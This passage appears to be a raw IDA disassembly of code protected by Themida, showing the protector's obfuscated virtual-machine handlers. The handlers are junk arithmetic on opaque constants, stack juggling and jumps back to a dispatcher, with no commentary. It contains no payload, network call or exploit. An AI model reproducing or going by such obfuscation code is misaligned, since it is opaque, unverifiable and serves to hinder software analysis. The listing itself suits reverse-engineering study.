loc_59B307:				; CODE XREF: Themida_:00599844j
		mov	esp, [esp]
		sub	[edi+24h], esi
		pop	esi


loc_59B30E:				; CODE XREF: Themida_:0059A0DAj
		push	5CC2h
		mov	[esp], ecx
		jmp	loc_5AD255
; ---------------------------------------------------------------------------


loc_59B31B:				; CODE XREF: Themida_:005AC4C4j
		xor	ebp, 68DBED8Dh
		sub	esi, ebp
		jmp	loc_5AA740
; ---------------------------------------------------------------------------


loc_59B328:				; CODE XREF: Themida_:005A2775j
		mov	dl, 0F2h
		or	dl, 0EFh
		dec	dl
		jno	loc_5AAFC2
		add	dl, 5Dh
		jnb	loc_5ABB7F
		mov	esi, ebp


loc_59B340:				; CODE XREF: Themida_:005A2663j
		not	eax
		xor	edx, eax
		jmp	loc_5AE684
; ---------------------------------------------------------------------------


loc_59B349:				; CODE XREF: Themida_:0059AAEFj
		mov	[esp], edi
		jmp	loc_5A31E4
; ---------------------------------------------------------------------------


loc_59B351:				; CODE XREF: Themida_:005A226Bj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2
		jmp	loc_5ACAD7
; ---------------------------------------------------------------------------
		lodsb
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		jmp	loc_5A8355
; ---------------------------------------------------------------------------


loc_59B37B:				; CODE XREF: Themida_:005A492Fj
					; Themida_:005A8B1Aj
		shr	esi, 5
		push	ebx
		jmp	loc_5AC819
; ---------------------------------------------------------------------------


loc_59B384:				; CODE XREF: Themida_:0059D556j
					; Themida_:005A8F34j
		add	esi, 46C466E4h
		add	esi, edx
		sub	esi, 46C466E4h
		pop	edx
		add	ebx, esi
		jmp	loc_5ADE89
; ---------------------------------------------------------------------------


loc_59B39A:				; CODE XREF: Themida_:005AAC0Cj
		lodsb
		jmp	loc_59E60D
; ---------------------------------------------------------------------------


loc_59B3A0:				; CODE XREF: Themida_:005A05E0j
		add	esp, 4
		push	dword ptr [esp]
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	esp, 4
		push	ecx
		push	ebx
		mov	ebx, 648E27D1h
		push	ebx
		pop	ecx
		pop	ebx
		jmp	loc_59C14B
; ---------------------------------------------------------------------------


loc_59B3D4:				; CODE XREF: Themida_:0059980Aj
		xor	ah, 0EFh
		mov	bh, ah
		jmp	loc_5A565A
; ---------------------------------------------------------------------------


loc_59B3DE:				; CODE XREF: Themida_:005AAFBDj
		jmp	loc_59C189
; ---------------------------------------------------------------------------


loc_59B3E3:				; CODE XREF: Themida_:005AEB08j
		xor	esi, [esp]
		pop	esp
		push	6ADBh
		mov	[esp], edi
		jmp	loc_5A0A58
; ---------------------------------------------------------------------------


loc_59B3F4:				; CODE XREF: Themida_:005A75ACj
					; Themida_:005AAFD5j
		pop	edx
		shl	ah, 7
		sub	ah, 1
		jmp	loc_5AF285
; ---------------------------------------------------------------------------


loc_59B400:				; CODE XREF: Themida_:005A2303j
		inc	ecx
		jmp	loc_5A64EA
; ---------------------------------------------------------------------------


loc_59B406:				; CODE XREF: Themida_:00599B21j
		mov	esp, [esp]
		push	28A6h
		mov	[esp], ecx
		push	3278h
		jmp	loc_59EFE6
; ---------------------------------------------------------------------------


loc_59B41B:				; CODE XREF: Themida_:005A71D7j
		push	ebx
		push	edi
		mov	edi, 60F407AEh
		jmp	loc_59E862
; ---------------------------------------------------------------------------


loc_59B427:				; CODE XREF: Themida_:005A88CBj
		mov	esi, 58576824h
		jmp	loc_59A1D9
; ---------------------------------------------------------------------------


loc_59B431:				; CODE XREF: Themida_:005A7354j
		mov	edx, eax
		pop	eax
		push	dword ptr [esp]
		pop	esi
		push	1AB8h
		mov	[esp], edx
		jmp	loc_5AA7E5
; ---------------------------------------------------------------------------


loc_59B445:				; CODE XREF: Themida_:005A2468j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5A30C7
; ---------------------------------------------------------------------------


loc_59B450:				; CODE XREF: Themida_:005AEB8Cj
		pop	esi
		mov	ebp, [esp]
		jmp	loc_5A2ED6
; ---------------------------------------------------------------------------


loc_59B459:				; CODE XREF: Themida_:005AD96Fj
		push	eax
		mov	eax, 0A7F4CA6h
		inc	eax
		and	eax, 2FEF4242h
		jz	loc_5A3343
		add	eax, 0F24A6378h
		xor	edx, eax
		pop	eax
		sub	ebx, 7DAE11E2h
		sub	ebx, edx
		add	ebx, 7DAE11E2h
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59B498:				; CODE XREF: Themida_:005A61F4j
		mov	edi, esi
		jmp	loc_5A8DDD
; ---------------------------------------------------------------------------


loc_59B49F:				; CODE XREF: Themida_:005A811Dj
					; Themida_:005ABCA3j
		push	dx
		mov	dl, 0EEh
		xor	bl, dl
		pop	dx
		jmp	loc_59C21D
; ---------------------------------------------------------------------------


loc_59B4AC:				; CODE XREF: Themida_:0059D803j
		pop	ecx
		add	esp, 4
		jmp	loc_5A0800
; ---------------------------------------------------------------------------


loc_59B4B8:				; CODE XREF: Themida_:005ACC72j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59A583
; ---------------------------------------------------------------------------


loc_59B4CF:				; CODE XREF: Themida_:0059C710j
		add	esp, 4
		shr	eax, 8
		jmp	loc_5A8F69
; ---------------------------------------------------------------------------


loc_59B4DD:				; CODE XREF: Themida_:0059FCF9j
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5AD033
; ---------------------------------------------------------------------------


loc_59B4E8:				; CODE XREF: Themida_:0059F9BEj
		shl	ebp, 3
		sub	ebp, 385A5D91h
		dec	ebp
		sub	ebp, 454062FFh
		add	edx, ebp
		pop	ebp
		push	ebp
		push	ecx
		mov	ecx, 71847D98h
		mov	ebp, 1C8721FDh
		xor	ebp, ecx
		pop	ecx
		xor	ebp, 37D65E6Eh
		sub	edx, ebp
		jmp	loc_5AC345
; ---------------------------------------------------------------------------


loc_59B517:				; CODE XREF: Themida_:005A29F5j
		add	esp, 4
		sub	bl, al
		push	small 4427h
		jmp	loc_5A97DE
; ---------------------------------------------------------------------------


loc_59B525:				; CODE XREF: Themida_:0059BEAEj
		add	ah, 0F3h
		sub	ah, bh
		sub	ah, 0F3h
		jmp	loc_5AC7E0
; ---------------------------------------------------------------------------


loc_59B532:				; CODE XREF: Themida_:005AA1A7j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A57B3
; ---------------------------------------------------------------------------


loc_59B540:				; DATA XREF: Themida_:00598844o
		neg	dword ptr [esp]
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59B549:				; CODE XREF: Themida_:0059E737j
		push	small 66DEh
		jmp	loc_5AB83F
; ---------------------------------------------------------------------------


loc_59B552:				; CODE XREF: Themida_:005A9B9Dj
		inc	ecx
		jg	loc_59ACC0
		xor	ecx, 18656A8Ah
		jmp	loc_59EAD2
; ---------------------------------------------------------------------------
		push	ecx


loc_59B565:				; CODE XREF: Themida_:005A25C3j
		push	345Eh
		jmp	loc_5A04A3
; ---------------------------------------------------------------------------


loc_59B56F:				; CODE XREF: Themida_:0059FBFCj
		neg	ebp
		push	ebx
		jmp	loc_5AEC8E
; ---------------------------------------------------------------------------


loc_59B577:				; CODE XREF: Themida_:00598CFCj
		push	esp
		jmp	loc_5A1A6C
; ---------------------------------------------------------------------------


loc_59B57D:				; CODE XREF: Themida_:0059CDA2j
		mov	ecx, 814C67A5h
		sub	ecx, edi
		pop	edi
		add	ecx, 1AFE3136h
		or	ecx, 72CE2E61h
		neg	ecx
		sub	ecx, 2CDAF355h
		sub	edx, 45800F06h
		add	edx, ecx
		add	edx, 45800F06h
		pop	ecx
		mov	eax, edx
		pop	edx
		mov	edi, eax
		jmp	loc_5A1739
; ---------------------------------------------------------------------------


loc_59B5B2:				; CODE XREF: Themida_:0059BEF5j
		mov	edx, 3BF56C34h
		mov	ebx, edx
		pop	edx
		add	ebx, 447A2423h
		push	ebx
		mov	ebx, esp
		jmp	loc_59CB35
; ---------------------------------------------------------------------------


loc_59B5C8:				; CODE XREF: Themida_:005A5506j
		inc	ebp
		jmp	loc_5A9DF3
; ---------------------------------------------------------------------------


loc_59B5CE:				; CODE XREF: Themida_:0059ED2Dj
		add	eax, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shl	eax, cl
		jmp	loc_5A1ECA
; ---------------------------------------------------------------------------


loc_59B5DF:				; CODE XREF: Themida_:0059C9C1j
		push	esi
		mov	esi, 649D3DB9h
		or	esi, 798A750Dh
		xor	esi, 7A903999h
		jmp	loc_5AA88C
; ---------------------------------------------------------------------------


loc_59B5F6:				; CODE XREF: Themida_:005AB280j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59B5FB:				; CODE XREF: Themida_:00598F54j
		neg	edx
		and	edx, 1FB03BD7h
		shl	edx, 5
		sub	edx, 1
		or	edx, 1EB5467Ch
		push	ebp
		jmp	loc_5AACA9
; ---------------------------------------------------------------------------


loc_59B618:				; CODE XREF: Themida_:0059F964j
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A2DA2
; ---------------------------------------------------------------------------


loc_59B62F:				; CODE XREF: Themida_:005AA99Fj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	7271h
		mov	[esp], eax
		mov	al, 0F0h
		jmp	loc_59FCFE
; ---------------------------------------------------------------------------


loc_59B655:				; CODE XREF: Themida_:005AC307j
		xor	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	eax
		or	[edi+1Ch], ecx
		mov	ecx, [esp]
		add	esp, 4


loc_59B66B:				; CODE XREF: Themida_:005A1BF1j
		push	38D4h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 685656Eh
		push	ebx
		push	ebp
		mov	ebp, 6CCD6791h
		jmp	loc_5A695B
; ---------------------------------------------------------------------------


loc_59B68D:				; CODE XREF: Themida_:005AD56Cj
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_5A4ED4
; ---------------------------------------------------------------------------


loc_59B69D:				; CODE XREF: Themida_:005ABFEBj
		or	eax, 5B2414BEh
		neg	eax
		jmp	loc_5ABEEA
; ---------------------------------------------------------------------------


loc_59B6A9:				; CODE XREF: Themida_:0059E8F0j
		pop	eax
		add	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_5AEDE7
; ---------------------------------------------------------------------------


loc_59B6B7:				; CODE XREF: Themida_:0059FD57j
		pop	esi
		shr	ecx, 4
		not	ecx
		xor	ecx, 694A396Ah
		inc	ecx
		push	0B09h
		mov	[esp], ebp
		mov	ebp, 149B67C9h
		xor	ebp, 3EC0648Ah
		neg	ebp
		xor	ebp, 20B62CFCh
		and	ebp, 3F684DC1h
		neg	ebp
		add	ebp, 0BD28D79Ch
		xor	ecx, ebp
		pop	ebp
		sub	edx, ecx
		pop	ecx
		jmp	loc_59CBEF
; ---------------------------------------------------------------------------


loc_59B6F8:				; CODE XREF: Themida_:00599697j
					; Themida_:0059DC23j
		add	eax, 0AF474029h
		inc	eax
		sub	eax, 1E360CB8h
		add	edi, eax
		pop	eax
		push	ebx
		push	2
		pop	ebx
		add	edi, ebx
		jmp	loc_5AB308
; ---------------------------------------------------------------------------


loc_59B714:				; CODE XREF: Themida_:005A2BDBj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_59D114
; ---------------------------------------------------------------------------


loc_59B721:				; CODE XREF: Themida_:005A2CF6j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5AA70E
; ---------------------------------------------------------------------------


loc_59B732:				; CODE XREF: Themida_:005AFA58j
		pop	ecx
		jmp	loc_59C743
; ---------------------------------------------------------------------------


loc_59B738:				; CODE XREF: Themida_:0059FBEEj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A4A3E
; ---------------------------------------------------------------------------


loc_59B745:				; CODE XREF: Themida_:0059C218j
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59B754:				; CODE XREF: Themida_:005A8CF0j
		sub	edx, 0FFFFFFFFh
		sub	edx, 65B9A54h
		mov	ecx, edx
		pop	edx
		and	ecx, 31943CF3h
		add	ecx, 68A90A87h
		xor	ecx, 987473CAh
		sub	ebx, ecx
		pop	ecx
		push	6FD6h
		mov	[esp], eax
		mov	eax, 0
		add	eax, ebx
		mov	[eax], ch
		pop	eax
		pop	ebx
		jmp	loc_5ABEDC
; ---------------------------------------------------------------------------


loc_59B78D:				; CODE XREF: Themida_:0059A307j
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_59DA39
; ---------------------------------------------------------------------------


loc_59B7B3:				; CODE XREF: Themida_:005A034Dj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ch, bl
		pop	bx
		xor	al, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59EE2E
; ---------------------------------------------------------------------------


loc_59B7CE:				; CODE XREF: Themida_:0059EA52j
		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5AB727
; ---------------------------------------------------------------------------


loc_59B7DC:				; CODE XREF: Themida_:005AD129j
		add	al, 0FCh
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A9E31
; ---------------------------------------------------------------------------


loc_59B7E9:				; CODE XREF: Themida_:0059FE55j
		jb	loc_59CB0C
		sub	edi, 2D340FE3h
		jnb	loc_5A5C30
		jmp	loc_5AEA54
; ---------------------------------------------------------------------------
		mov	edx, ecx
		jmp	loc_5A4D65
; ---------------------------------------------------------------------------
		mov	eax, ebp


loc_59B809:				; CODE XREF: Themida_:0059C54Dj
		add	esp, 4
		xor	ebp, ecx
		jmp	loc_5AAA67
; ---------------------------------------------------------------------------


loc_59B813:				; CODE XREF: Themida_:0059C8F6j
					; Themida_:loc_5A38D2j
		add	eax, 68DB79D5h
		jns	loc_5AA527
		sub	eax, 46272752h
		jnz	loc_5A0162
		mov	dh, ch
		mov	dh, 7Ah


loc_59B82D:				; CODE XREF: Themida_:005A7AE0j
		pop	esi
		jmp	loc_5A50BC
; ---------------------------------------------------------------------------


loc_59B833:				; CODE XREF: Themida_:0059A569j
					; Themida_:005A79DDj
		add	eax, 1
		push	ebx
		mov	ebx, 53FF16C2h
		jmp	loc_5A3E34
; ---------------------------------------------------------------------------


loc_59B843:				; CODE XREF: Themida_:005A3C0Cj
					; Themida_:005A82EAj
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_5AEFDE
; ---------------------------------------------------------------------------


loc_59B855:				; CODE XREF: Themida_:005AB4CAj
		mov	dh, ch
		mov	ecx, [esp]
		jmp	loc_5A7265
; ---------------------------------------------------------------------------


loc_59B85F:				; DATA XREF: Themida_:00598740o
		lodsb
		push	ecx
		mov	cl, 0A7h
		add	cl, 12h
		xor	cl, 0F7h
		dec	cl
		push	ebx
		push	4785h
		mov	[esp], edx
		push	ebx
		jmp	loc_5A17E9
; ---------------------------------------------------------------------------


loc_59B87A:				; CODE XREF: Themida_:005AA184j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 248E675Ah
		xor	eax, esi
		pop	esi
		pop	edi
		add	ebx, 192804C4h
		jmp	loc_59FA08
; ---------------------------------------------------------------------------


loc_59B898:				; CODE XREF: Themida_:0059EABCj
		neg	ebp
		xor	ebp, 158D0DA5h
		and	ebx, ebp
		pop	ebp
		not	ebx
		sub	ebx, 663F33C5h
		jmp	loc_5AACE4
; ---------------------------------------------------------------------------


loc_59B8B0:				; CODE XREF: Themida_:loc_5ACA82j
		add	esi, 72B431F6h
		jge	loc_598D19
		jmp	loc_59E7BE
; ---------------------------------------------------------------------------
		or	ebx, 3573037Ah
		not	ebx
		push	edx


loc_59B8CA:				; CODE XREF: Themida_:005A8FF0j
		shl	ecx, 6
		sub	ecx, 4F51277Ch
		jmp	loc_5AF823
; ---------------------------------------------------------------------------


loc_59B8D8:				; CODE XREF: Themida_:005A58E2j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5AAA6D
; ---------------------------------------------------------------------------


loc_59B8EB:				; CODE XREF: Themida_:005A8A2Fj
		push	edi
		mov	edi, 5EAE362Ch
		sub	esp, 4
		mov	[esp], edi
		pop	esi
		jmp	loc_5A8417
; ---------------------------------------------------------------------------


loc_59B8FD:				; CODE XREF: Themida_:005A042Dj
		shl	eax, 4
		push	ebp
		mov	ebp, 23D3AEBEh
		sub	eax, ebp
		pop	ebp
		mov	esi, eax
		pop	eax
		push	ebp
		mov	ebp, 502D6EAEh
		jmp	loc_5AA3A7
; ---------------------------------------------------------------------------


loc_59B917:				; CODE XREF: Themida_:005AFBFEj
		sub	eax, 0E8689FDh
		push	edx
		mov	edx, 3890463Fh
		or	eax, edx
		jmp	loc_5A7FE0
; ---------------------------------------------------------------------------


loc_59B929:				; CODE XREF: Themida_:005A00E5j
					; Themida_:005AEB3Bj
		sub	dl, 79h
		jmp	loc_5ADEBF
; ---------------------------------------------------------------------------


loc_59B931:				; CODE XREF: Themida_:005A0F16j
		push	ecx
		mov	ch, 3Dh
		xor	ch, 0CCh
		jmp	loc_59C59E
; ---------------------------------------------------------------------------


loc_59B93C:				; CODE XREF: Themida_:005AD43Bj
		push	10h
		push	dword ptr [esp]
		jmp	loc_59CBF5
; ---------------------------------------------------------------------------


loc_59B949:				; CODE XREF: Themida_:0059EC34j
					; Themida_:005AF186j
		xor	ebx, esi
		pop	esi
		xor	ebx, 617735B3h
		jmp	loc_5A9B6F
; ---------------------------------------------------------------------------


loc_59B957:				; CODE XREF: Themida_:005ABBD3j
		sub	ecx, 46EA3E08h
		add	ecx, eax
		add	ecx, 46EA3E08h
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		jmp	loc_5A0CE8
; ---------------------------------------------------------------------------


loc_59B974:				; CODE XREF: Themida_:005ABCF0j
		pop	esi
		add	ecx, eax
		pop	eax
		push	7C31h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_59F4C2
; ---------------------------------------------------------------------------


loc_59B989:				; CODE XREF: Themida_:005AD6C6j
		mov	edi, 4
		add	ebx, edi
		jmp	loc_59FCB4
; ---------------------------------------------------------------------------


loc_59B995:				; CODE XREF: Themida_:loc_59A958j
		sub	eax, 8CE937E2h
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A2DBF
; ---------------------------------------------------------------------------


loc_59B9AA:				; CODE XREF: Themida_:005AD597j
		not	ecx
		jmp	loc_5A62E8
; ---------------------------------------------------------------------------


loc_59B9B1:				; CODE XREF: Themida_:005AA3A2j
		shl	edi, 8
		inc	edi
		xor	edi, 69A84CCAh
		add	edi, 9ECEB337h
		push	4515h
		jmp	loc_59FA8E
; ---------------------------------------------------------------------------


loc_59B9CB:				; CODE XREF: Themida_:00599045j
		pop	esp
		mov	ax, [esp]
		push	4F53h
		mov	[esp], eax
		push	esp
		pop	eax
		push	27EBh
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5A3AEF
; ---------------------------------------------------------------------------


loc_59B9EF:				; CODE XREF: Themida_:0059DE7Ej
		sub	edx, ebx
		pop	ebx
		jmp	loc_599CAC
; ---------------------------------------------------------------------------


loc_59B9F7:				; DATA XREF: Themida_:00598824o
		mov	ax, [esp]
		push	2259h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	1748h
		mov	[esp], eax
		mov	eax, 2
		push	edi
		jmp	loc_5A9BD0
; ---------------------------------------------------------------------------


loc_59BA1E:				; CODE XREF: Themida_:005A6620j
		add	esp, 4
		push	4AC1h
		mov	[esp], esi
		jmp	loc_5A1665
; ---------------------------------------------------------------------------


loc_59BA2E:				; CODE XREF: Themida_:00598E9Ej
					; Themida_:0059D00Cj
		mov	ebp, [esp]
		add	esp, 4
		push	3476h
		jmp	loc_5A9FF7
; ---------------------------------------------------------------------------


loc_59BA41:				; CODE XREF: Themida_:0059C118j
		pop	esi
		add	esp, 4
		movzx	eax, al
		jmp	loc_5AF48B
; ---------------------------------------------------------------------------


loc_59BA50:				; CODE XREF: Themida_:005ABEC9j
		shl	eax, 7
		jp	loc_5AE9A0
		jmp	loc_5A6F8E
; ---------------------------------------------------------------------------


loc_59BA5E:				; CODE XREF: Themida_:005A85FCj
		shr	esi, 4
		jmp	loc_5ABCA9
; ---------------------------------------------------------------------------


loc_59BA66:				; CODE XREF: Themida_:0059D83Aj
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A91C9
; ---------------------------------------------------------------------------


loc_59BA77:				; CODE XREF: Themida_:005A27F8j
		mov	eax, [esp]
		jmp	loc_59D4F0
; ---------------------------------------------------------------------------


loc_59BA7F:				; CODE XREF: Themida_:005A7307j
		shl	ebx, 3
		shl	ebx, 5
		push	110Ah
		mov	[esp], esi
		jmp	loc_5ABE38
; ---------------------------------------------------------------------------
		sub	dh, 4Bh
		pop	eax
		neg	dh
		shl	dh, 7
		jmp	loc_5AEF4E
; ---------------------------------------------------------------------------


loc_59BAA0:				; CODE XREF: Themida_:005AE4CFj
		add	eax, 6CF66B8Eh
		pop	edx
		jmp	loc_5ADEC6
; ---------------------------------------------------------------------------


loc_59BAAB:				; CODE XREF: Themida_:005AC52Aj
		mov	dh, 76h
		jmp	loc_5AAC43
; ---------------------------------------------------------------------------


loc_59BAB2:				; CODE XREF: Themida_:loc_59A784j
		push	eax
		mov	al, 94h
		push	ecx
		mov	cl, 0DDh
		sub	al, cl
		pop	ecx
		xor	bh, al
		mov	eax, [esp]
		jmp	loc_5AD189
; ---------------------------------------------------------------------------


loc_59BAC5:				; CODE XREF: Themida_:005A36FAj
					; Themida_:005A9BA4j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		jmp	loc_5A9A53
; ---------------------------------------------------------------------------


loc_59BAD2:				; CODE XREF: Themida_:005AADD2j
		mov	[esp], esi
		jmp	loc_5A561E
; ---------------------------------------------------------------------------


loc_59BADA:				; CODE XREF: Themida_:00599251j
		pop	ebx
		jmp	loc_5ACD75
; ---------------------------------------------------------------------------


loc_59BAE0:				; CODE XREF: Themida_:005995A3j
		mov	[esp], edx
		jmp	loc_5A814C
; ---------------------------------------------------------------------------


loc_59BAE8:				; CODE XREF: Themida_:00599DE4j
		jmp	loc_5A01D6
; ---------------------------------------------------------------------------


loc_59BAED:				; CODE XREF: Themida_:005A1E66j
		add	esp, 4
		push	1F90h
		mov	[esp], ecx
		mov	ecx, 4F1348A8h
		sub	ecx, 1
		jmp	loc_59A9D9
; ---------------------------------------------------------------------------


loc_59BB0B:				; CODE XREF: Themida_:0059D3A5j
		mov	[esp], edi
		mov	edi, 7F7F48C9h
		sub	esi, edi
		jmp	loc_5989BD
; ---------------------------------------------------------------------------


loc_59BB1A:				; CODE XREF: Themida_:00599D74j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A1816
; ---------------------------------------------------------------------------


loc_59BB2E:				; CODE XREF: Themida_:0059E932j
		pop	edx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	5B2Ah
		mov	[esp], ebp
		jmp	loc_59EFA7
; ---------------------------------------------------------------------------


loc_59BB45:				; CODE XREF: Themida_:005AEE4Aj
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A3019
; ---------------------------------------------------------------------------


loc_59BB5C:				; CODE XREF: Themida_:0059F768j
					; Themida_:loc_5A0A72j	...
		add	esp, 4
		jmp	loc_5A094F
; ---------------------------------------------------------------------------


loc_59BB64:				; CODE XREF: Themida_:005A30E2j
		shl	edi, 3
		sub	edi, 0FEE9E7A4h
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A6E67
; ---------------------------------------------------------------------------


loc_59BB79:				; CODE XREF: Themida_:005A3672j
		sub	eax, edi
		jmp	loc_5A30AF
; ---------------------------------------------------------------------------


loc_59BB80:				; CODE XREF: Themida_:0059E404j
		or	eax, 3C8E1A1Bh
		push	ebx
		mov	ebx, 765D5816h
		xor	eax, ebx
		pop	ebx
		add	eax, 1454E29Bh
		xor	edx, eax
		pop	eax
		push	ebx
		mov	ebx, edx
		jmp	loc_5A8E5D
; ---------------------------------------------------------------------------


loc_59BB9E:				; CODE XREF: Themida_:005AE13Aj
		add	esi, 5BA206A8h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 776669A7h
		sub	eax, 24962125h
		add	eax, ebx
		add	eax, 24962125h
		push	edx
		mov	edx, 776669A7h
		sub	eax, edx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		push	edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_59FF06
; ---------------------------------------------------------------------------


loc_59BBDD:				; CODE XREF: Themida_:0059A3DAj
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A3324
; ---------------------------------------------------------------------------


loc_59BBEA:				; CODE XREF: Themida_:005A2847j
		push	esp
		pop	ecx
		jmp	loc_5AC239
; ---------------------------------------------------------------------------


loc_59BBF1:				; CODE XREF: Themida_:005A26C1j
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		sub	eax, 76ED4D51h
		add	eax, ebx
		add	eax, 76ED4D51h
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_59A7CA
; ---------------------------------------------------------------------------


loc_59BC20:				; CODE XREF: Themida_:0059DA07j
		neg	ebp
		push	0
		sub	[esp], ebp
		pop	ebp
		jmp	loc_59D1D5
; ---------------------------------------------------------------------------


loc_59BC30:				; CODE XREF: Themida_:005A8A12j
		pop	esp
		jmp	loc_5A4F06
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		jmp	loc_59F2A3
; ---------------------------------------------------------------------------


loc_59BC44:				; CODE XREF: Themida_:005A60A3j
		push	edx
		push	esi
		mov	esi, 67C50F29h
		jmp	loc_5A26AF
; ---------------------------------------------------------------------------


loc_59BC50:				; CODE XREF: Themida_:005A23AFj
		push	18AAh
		mov	[esp], esp
		jmp	loc_5AA781
; ---------------------------------------------------------------------------


loc_59BC5D:				; CODE XREF: Themida_:005AD296j
		not	dword ptr [esp]
		jmp	loc_598CBC
; ---------------------------------------------------------------------------


loc_59BC65:				; CODE XREF: Themida_:005A8AB0j
		push	eax
		mov	eax, 1
		jmp	loc_5A3282
; ---------------------------------------------------------------------------


loc_59BC70:				; CODE XREF: Themida_:005A08D4j
					; Themida_:005A574Cj
		pop	eax
		xor	dh, 6Dh
		push	ebx
		jmp	loc_5AB7B7
; ---------------------------------------------------------------------------


loc_59BC7A:				; CODE XREF: Themida_:005A99BBj
		add	ebp, 4E451A3Dh
		jmp	loc_59F709
; ---------------------------------------------------------------------------


loc_59BC85:				; CODE XREF: Themida_:loc_5A79ECj
		xor	dl, 8Ah
		jmp	loc_5A233A
; ---------------------------------------------------------------------------


loc_59BC8D:				; CODE XREF: Themida_:0059A486j
		xchg	ebp, [esp]
		pop	esp
		pop	edx
		and	ebx, 38287AD3h
		jno	loc_59D8E0
		push	1E4h
		mov	[esp], edx
		mov	edx, 6654017Ah
		xor	ebx, edx


loc_59BCAD:				; CODE XREF: Themida_:00599A49j
					; Themida_:005A773Bj
		sub	[esp], al
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59BCB6:				; CODE XREF: Themida_:005A7134j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5ABB0D
; ---------------------------------------------------------------------------


loc_59BCC4:				; CODE XREF: Themida_:0059FD90j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_59E414
; ---------------------------------------------------------------------------


loc_59BCD7:				; CODE XREF: Themida_:0059AED5j
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_5A722C
; ---------------------------------------------------------------------------


loc_59BCE3:				; CODE XREF: Themida_:005A04C3j
		push	2043h
		mov	[esp], ebp
		mov	ebp, 668E53C3h
		shl	ebp, 8
		and	ebp, 65765A92h
		jmp	loc_59A65E
; ---------------------------------------------------------------------------


loc_59BCFE:				; CODE XREF: Themida_:0059CB96j
					; Themida_:0059F957j
		pop	eax
		add	eax, 4
		push	ebp
		push	5186h
		jmp	loc_5A2535
; ---------------------------------------------------------------------------


loc_59BD0F:				; CODE XREF: Themida_:0059CA2Bj
		push	eax
		jmp	loc_5A3FA7
; ---------------------------------------------------------------------------


loc_59BD15:				; CODE XREF: Themida_:005A49C2j
		mov	ebp, edx
		pop	edx
		add	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A22CE
; ---------------------------------------------------------------------------


